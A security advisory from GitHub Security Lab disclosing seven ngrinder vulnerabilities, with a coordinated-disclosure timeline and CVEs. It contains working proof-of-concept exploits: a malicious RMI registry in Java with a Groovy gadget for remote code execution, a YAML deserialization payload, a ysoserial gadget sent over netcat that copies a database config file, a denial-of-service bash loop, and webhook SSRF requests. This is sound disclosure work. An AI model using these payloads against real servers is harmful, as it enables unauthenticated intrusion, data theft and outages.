Coordinated Disclosure Timeline
- 2023-11-28: Sent vulnerability report to Naver.
- 2023-12-08: Naver acknowledged receiving the report.
- 2024-02-21: Naver sent update and requested a deadline extension to 2024-03-08.
- 2024-03-07: Naver assigned 6 CVEs and released version 3.5.9 of ngrinder.
- 2024-04-11: Found additional potential vulnerability (GHSL-2024-069) in ngrinder when retesting the fix for unsafe YAML deserialization.
Summary
Several vulnerabilities were discovered in the ngrinder web application from Naver. Two of the vulnerabilities were unauthenticated remote code execution (RCE) vulnerabilities, others were due to improper access controls.
Project
naver/ngrinder
Tested Version
Details
Issue 1: RCE via JNDI/RMI (GHSL-2023-238
)
The endpoint /monitor/api/state?ip={ip}
allows unauthenticated attackers to request that ngrinder connects to a JMX/RMI server under the control of the attacker. This makes it possible for the attacker to execute arbitrary commands on the server running ngrinder.
An attacker can pass an IP address of a malicious RMI server into the ip
query parameter of the /state
endpoint of the class MonitorManagerApiController
.
@GetMapping("/state")
public SystemDataModel getRealTimeMonitorData(@RequestParam final String ip) throws InterruptedException, ExecutionException, TimeoutException {
int port = config.getMonitorPort();
Future<SystemInfo> systemInfoFuture = AopUtils.proxy(this).getAsyncSystemInfo(ip, port);
[..]
From there the IP address gets passed to getAsyncSystemInfo
, then getSystemInfo
where a new MonitorClientService
is instantiated which now holds the attacker-controlled IP address:
public SystemInfo getSystemInfo(String ip, int port) {
MonitorClientService monitorClient = monitorClientMap.get(ip);
if (monitorClient == null) {
monitorClient = new MonitorClientService(ip, port);
monitorClient.init();
Then init
is called on the MonitorClientService
, which creates a new MBeanClient
which holds a JMX URL:
public MBeanClient(String hostName, int port) throws IOException {
this.jmxUrl = new JMXServiceURL("rmi", hostName, port, String.format(JMX_URI, hostName, port));
}
This JMX URL is then used when connect
, then connectClient
, then connectWithTimeout
are called on the MBeanClient
:
private JMXConnector connectWithTimeout(final JMXServiceURL jmxUrl, int timeout) throws NGrinderRuntimeException, TimeoutException {
try {
ExecutorService executor = Executors.newSingleThreadExecutor();
Future<JMXConnector> future = executor.submit(() -> JMXConnectorFactory.connect(jmxUrl));
connectWithTimeout
then calls JMXConnectorFactory.connect
(the vulnerable sink) on the partially user-controlled jmxUrl
.
This vulnerability was discovered with the help of CodeQL’s JNDI lookup with user-controlled name query.
Proof of concept
- Start the malicious RMI registry (part of the Resources section)
- Once the malicious RMI server is running all the attacker needs to do is a GET request to the
/state
endpoint such as:
curl 'http://<ngrinder-host>/monitor/api/state?ip=<attacker-controlled-rmi-server-IP>'
This “malicious” RMI registry executes the command touch /tmp/pwnedGroovy.txt
on the ngrinder server under test. Successful exploitation can be verified by looking for the file pwnedGroovy.txt
inside of the /tmp
folder.
Impact
This issue may lead to unauthenticated Remote Code Execution (RCE).
Resources
Malicious RMI registry
Malicious RMI registry that runs on Port 13243 and is bound to path /jmxrmi
. Once the attacker gets ngrinder to connect to this registry it will run the command touch /tmp/pwnedGroovy.txt
on the ngrinder server. (A dependency to Apache Tomcat org.apache.tomcat:tomcat-catalina
is required to compile and execute this code.)
package seclab.jndilab;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
private static final String EXT_IP_ADDRESS = "127.0.0.1";
private static final int EXT_PORT = 13243;
public static void main(String[] args) throws Exception {
System.setProperty("java.rmi.server.hostname", EXT_IP_ADDRESS);
System.setProperty("com.sun.management.jmxremote.port", String.valueOf(EXT_PORT));
System.setProperty("com.sun.management.jmxremote.rmi.port", String.valueOf(EXT_PORT));
System.out.println(String.format("Creating RMI registry on port %d and bind to /jmxrmi", EXT_PORT));
Registry registry = LocateRegistry.createRegistry(EXT_PORT);
RmiServer rmiServer = new RmiServer();
registry.bind("jmxrmi", rmiServer.execWithGroovyEvalMe("touch /tmp/pwnedGroovy.txt"));
}
private ReferenceWrapper execWithGroovyEvalMe(String command) throws RemoteException, NamingException {
ResourceRef ref = new ResourceRef("groovy.util.Eval", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "v=me"));
String addr = String.format("new groovy.util.Eval().me(\"'%s'.execute()\")", command);
ref.add(new StringRefAddr("v", addr));
return new ReferenceWrapper(ref);
}
}
This RMI registry serves a gadget using the (static) Eval.me
method of Groovy, which was provided by Alvaro Muñoz. This gadget builds upon the BeanFactory
described by Michael Stepankin in the blog post Exploiting JNDI Injections in Java.
Issue 2: RCE via unsafe YAML deserialization (GHSL-2023-239
)
The endpoint /script/api/github/validate
allows unauthenticated remote code execution (RCE) via unsafe YAML deserialization. This is due to the fact that user-controlled YAML is allowed to flow into a vulnerable-by-default loadAll
sink of SnakeYAML.
The user-controlled data is passed down from the unauthenticated validateGithubConfig
endpoint:
@PostMapping("/github/validate")
public void validateGithubConfig(@RequestBody FileEntry fileEntry) {
gitHubFileEntryService.validate(fileEntry);
}
Then passed down to the validate
method inside the GitHubFileEntryService
class.
public boolean validate(FileEntry gitConfigYaml) {
for (GitHubConfig config : getAllGithubConfig(gitConfigYaml)) {
The validate
method then calls the getAllGithubConfig
, which ultimately calls the loadAll
sink of SnakeYAML:
private Set<GitHubConfig> getAllGithubConfig(FileEntry gitConfigYaml) {
Set<GitHubConfig> gitHubConfig = new HashSet<>();
// Yaml is not thread safe. so create it every time.
Yaml yaml = new Yaml();
Iterable<Map<String, Object>> gitConfigs = cast(yaml.loadAll(gitConfigYaml.getContent()));
This vulnerability was discovered with the help of CodeQL’s Deserialization of user-controlled data query.
Proof of concept
This proof of concept re-uses the “malicious” RMI registry from GHSL-2023-238.
- Start the malicious RMI registry (part of the Resources section of GHSL-2023-238)
- Send following payload to the ngrinder instance (with
<attacker-controlled-rmi-server-IP>
pointing to the “malicious” RMI registry:
{
"content": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: rmi://<attacker-controlled-rmi-server-IP>:13243/jmxrmi\n autoCommit: true\n"
}
Payload as part of a curl-request:
curl -i -s -k -X $'POST' \
-H $'Host: localhost:8080' -H $'User-Agent: Mozilla/5.0' -H $'Accept: text/html' -H $'Content-Type: application/json' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: en' -H $'Connection: close' \
--data-binary $'{\x0d\x0a\"content\": \"!!com.sun.rowset.JdbcRowSetImpl\\n dataSourceName: rmi://<attacker-controlled-rmi-server-IP>:13243/jmxrmi\\n autoCommit: true\\n\"\x0d\x0a}' \
$'http://localhost:8080/script/api/github/validate'
This “malicious” RMI registry executes the command touch /tmp/pwnedGroovy.txt
on the ngrinder server under test. Successful exploitation can be verified by looking for the file pwnedGroovy.txt
inside of the /tmp
folder.
Impact
This issue may lead to unauthenticated Remote Code Execution (RCE).
Resources
Issue 3: Unsafe Java Deserialization (GHSL-2023-240
)
By default ngrinder runs a listener on port 16001 that accepts serialized Java objects from unauthenticated users. By default this listener is started on all network interfaces, it is also exposed in the docker-compose file in the repository of ngrinder.
The vulnerable code lays inside the read
method of the Connector
class. The code calls readObject
on a ObjectInputStream
that is controllable from remote:
static ConnectDetails read(InputStream in) throws CommunicationException {
try {
final ObjectInputStream objectInputStream = new ObjectInputStream(in);
final ConnectionType type =
(ConnectionType) objectInputStream.readObject();
final Address address = (Address) objectInputStream.readObject();
The read
method of the Connector class is called by is called discriminateConnection
method inside the Acceptor
class.
final Connector.ConnectDetails connectDetails = Connector.read(localSocket.getInputStream());
This vulnerability was discovered with the help of CodeQL’s Deserialization of user-controlled data query.
Proof of concept
This proof of concept uses ysoserial and the FileUpload
gadget. The following PoC copies the database.conf
file to the download folder. (<USER>
needs to be replaced with the actual user under which ngrinder is executed.)
java -jar ysoserial-all.jar FileUpload1 "copyAndDelete;/home/<USER>/.ngrinder/database.conf;/home/<USER>/.ngrinder/download" > fileupload.bin
Send the created payload to the server using netcat (nc
):
nc <ip> 16001 < fileupload.bin
On the filesystem of the server running ngrinder there should now be a tmp-file in the folder of /home/<USER>/.ngrinder/download
containing the contents of the database.conf
file (and the original database.conf
does not exist anymore).
Impact
This issue may lead up to unauthenticated Remote Code Execution (RCE).
Resources
Issue 4: Remote DoS (GHSL-2023-241
)
The /check/healthcheck_slow
endpoint of ngrinder accepts an arbitrary delay in milliseconds from a user-controlled source.
@GetMapping("/check/healthcheck_slow")
public Map<String, Object> healthCheckSlowly(@RequestParam(value = "delay", defaultValue = "1000") int sleep,
HttpServletResponse response) {
ThreadUtils.sleep(sleep);
return healthCheck(response);
}
So with multiple GET-calls such as:
curl "http://<ngrinder-host>/check/healthcheck_slow?delay=100000000"
An attacker is able to occupy all threads of a web server by making enough requests with a high delay value and leaving them open.
Proof of concept
Following bash script makes 256 requests against the ngrinder web server. In the test setup it was enough to block the web server completely (The number of requests required might depend on the Tomcat configuration - the default maxThreads
value is typically 200
).
#!/bin/bash
for i in {1..256}
do
echo $i
curl "http://<ngrinder-host>:8080/check/healthcheck_slow?delay=100000000" &
done
Impact
This issue may lead to Remote Denial of Service (DoS).
Issue 5: Broken access control for webhook creation (GHSL-2023-242
)
Ngrinder allows unauthenticated users to create or update their webhook configuration with any URL and creator id. This makes it possible for an attacker to either specify a server under their control to get information about performance test runs or specify an internal host to use this vulnerability as a limited server-side request forgery (SSRF) in combination with GHSL-2023-243.
This is due to a missing access check on the save
method inside the WebhookApiController
class.
Proof of concept
The attacker sends a POST request with following payload to the URL http://{ngrinder-host}/webhook/api/
(Either by specifying a host under their control to get partial result data or by specifying an internal host to try to exploit this feature as a limited server-side request forgery (SSRF) in combination with GHSL-2023-243). The attacker also specifies the username of the creator to use (admin in this case).
{"payloadUrl":"http://internal-host.test:5555/index.html","contentType":"JSON","active":true,"events":"START","creatorId":"admin","id":1,"createdAt":1701166778899}
as a curl request:
curl -i -s -k -X $'POST' \
-H $'Host: {ngrinder-host}' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'User-Agent: Mozilla/5.0' -H $'Origin: http://localhost:9090' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: en' -H $'Connection: close' \
--data-binary $'{\"payloadUrl\":\"http://internal-host.test:5555/index.html\",\"contentType\":\"JSON\",\"active\":true,\"events\":\"START\",\"creatorId\":\"admin\",\"id\":1,\"createdAt\":1701166778899}' \
$'http://{ngrinder-host}/webhook/api/'
When the server returns “success” the attacker has now successfully created or updated the webhook configuration of that user and needs to wait until an ngrinder performance test is executed to retrieve the results.
Impact
This improper access control may lead to unauthorized configuration modification, information disclosure and limited server-side request forgery (SSRF) in combination with GHSL-2023-243.
Issue 6: Broken access control for viewing webhook results (GHSL-2023-243
)
Ngrinder allows unauthenticated users to view the results of ngrinder’s webhook requests. Those results contain the response headers and body of the HTTP POST request including the payload of the sent request.
This is due to a missing access check on the getActivations
method inside the WebhookApiController
class.
Proof of concept
Precondition: A webhook has been executed (either due to an ngrinder performance run being started/finished or manually by an admin)
View the execution results of any webhook executions by making a GET request to this URL:
http://{ngrinder-host}/webhook/api/activation?creatorId=admin
The output of this request then contains the result of the webhook results (HTTP header + bodies, including errors):
[ {
"id" : 1,
"creatorId" : "admin",
"createdAt" : 1701166567421,
"request" : "{\n \"finishTime\" : 1701166566920,\n \"executedTests\" : 0,\n \"peakTPS\" : 0.0,\n \"successfulTests\" : 0,\n \"eventType\" : \"FINISH\",\n \"tags\" : \"\",\n \"vuser\" : 0,\n \"createdBy\" : \"admin\",\n \"TPS\" : 0.0,\n \"scriptName\" : \"\",\n \"testId\" : 0,\n \"runTime\" : \"00:00:00\",\n \"meanTestTime\" : 0.0,\n \"errors\" : 0,\n \"testName\" : \"\",\n \"status\" : \"UNKNOWN\"\n}",
"response" : "{\n \"header\" : {\n \"Server\" : [ \"SimpleHTTP/0.6 Python/3.9.2\" ],\n \"Date\" : [ \"Tue, 28 Nov 2023 10:16:07 GMT\" ],\n \"Connection\" : [ \"close\" ],\n \"Content-Type\" : [ \"text/html;charset=utf-8\" ],\n \"Content-Length\" : [ \"497\" ]\n },\n \"body\" : \"<!DOCTYPE HTML PUBLIC \\\"-//W3C//DTD HTML 4.01//EN\\\"\\n \\\"http://www.w3.org/TR/html4/strict.dtd\\\">\\n<html>\\n <head>\\n <meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html;charset=utf-8\\\">\\n <title>Error response</title>\\n </head>\\n <body>\\n <h1>Error response</h1>\\n <p>Error code: 501</p>\\n <p>Message: Unsupported method ('POST').</p>\\n <p>Error code explanation: HTTPStatus.NOT_IMPLEMENTED - Server does not support this operation.</p>\\n </body>\\n</html>\\n\",\n \"statusCode\" : 501\n}",
"uuid" : "df3f9735-6a84-4703-b09e-945d3ed25383"
} ]
Impact
This improper access control may lead to Information Disclosure and limited server-side request forgery (SSRF) in combination with GHSL-2023-242.
Issue 7: Broken access control for viewing reports (several endpoints) (GHSL-2023-244
)
Note: Naver deemed this issue not to be a vulnerability.
Multiple endpoints for viewing performance reports don’t require authentication, thus allowing anyone to view reports. The following endpoints inside the PerfTestApiController are affected:
Path | Method |
---|---|
/perftest/api/{id}/detail_report |
getReport |
/perftest/api/{id}/plugin/{plugin}?kind={kind}&imgWidth={width} |
getPluginGraph |
/perftest/api/{id}/monitor?targetIP={ip}&imgWidth={width} |
getMonitorGraph |
/perftest/api/{id}/graph?imgWidth={width}&dataType={type} |
getPerfGraph |
Also the following endpoints inside PerfTestController:
Path | Method |
---|---|
/perftest/{id}/detail_report |
getReport |
/perftest/{id}/detail_report/plugin/{plugin}?kind={kind} |
getDetailPluginReport |
/perftest/{id}/detail_report/monitor?targetIP={ip} |
getDetailMonitorReport |
/perftest/{id}/detail_report/perf |
getDetailPerfReport |
These endpoints allow the retrieval of any performance reports and similar reports.
Impact
This issue may lead to Information Disclosure.
CVE
- CVE-2024-28211
- CVE-2024-28212
- CVE-2024-28213
- CVE-2024-28214
- CVE-2024-28215
- CVE-2024-28216
Credit
These issues were discovered and reported by GHSL team member @p- (Peter Stöckli).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-238
, GHSL-2023-239
, GHSL-2023-240
, GHSL-2023-241
, GHSL-2023-242
, GHSL-2023-243
, or GHSL-2023-244
in any communication regarding these issues.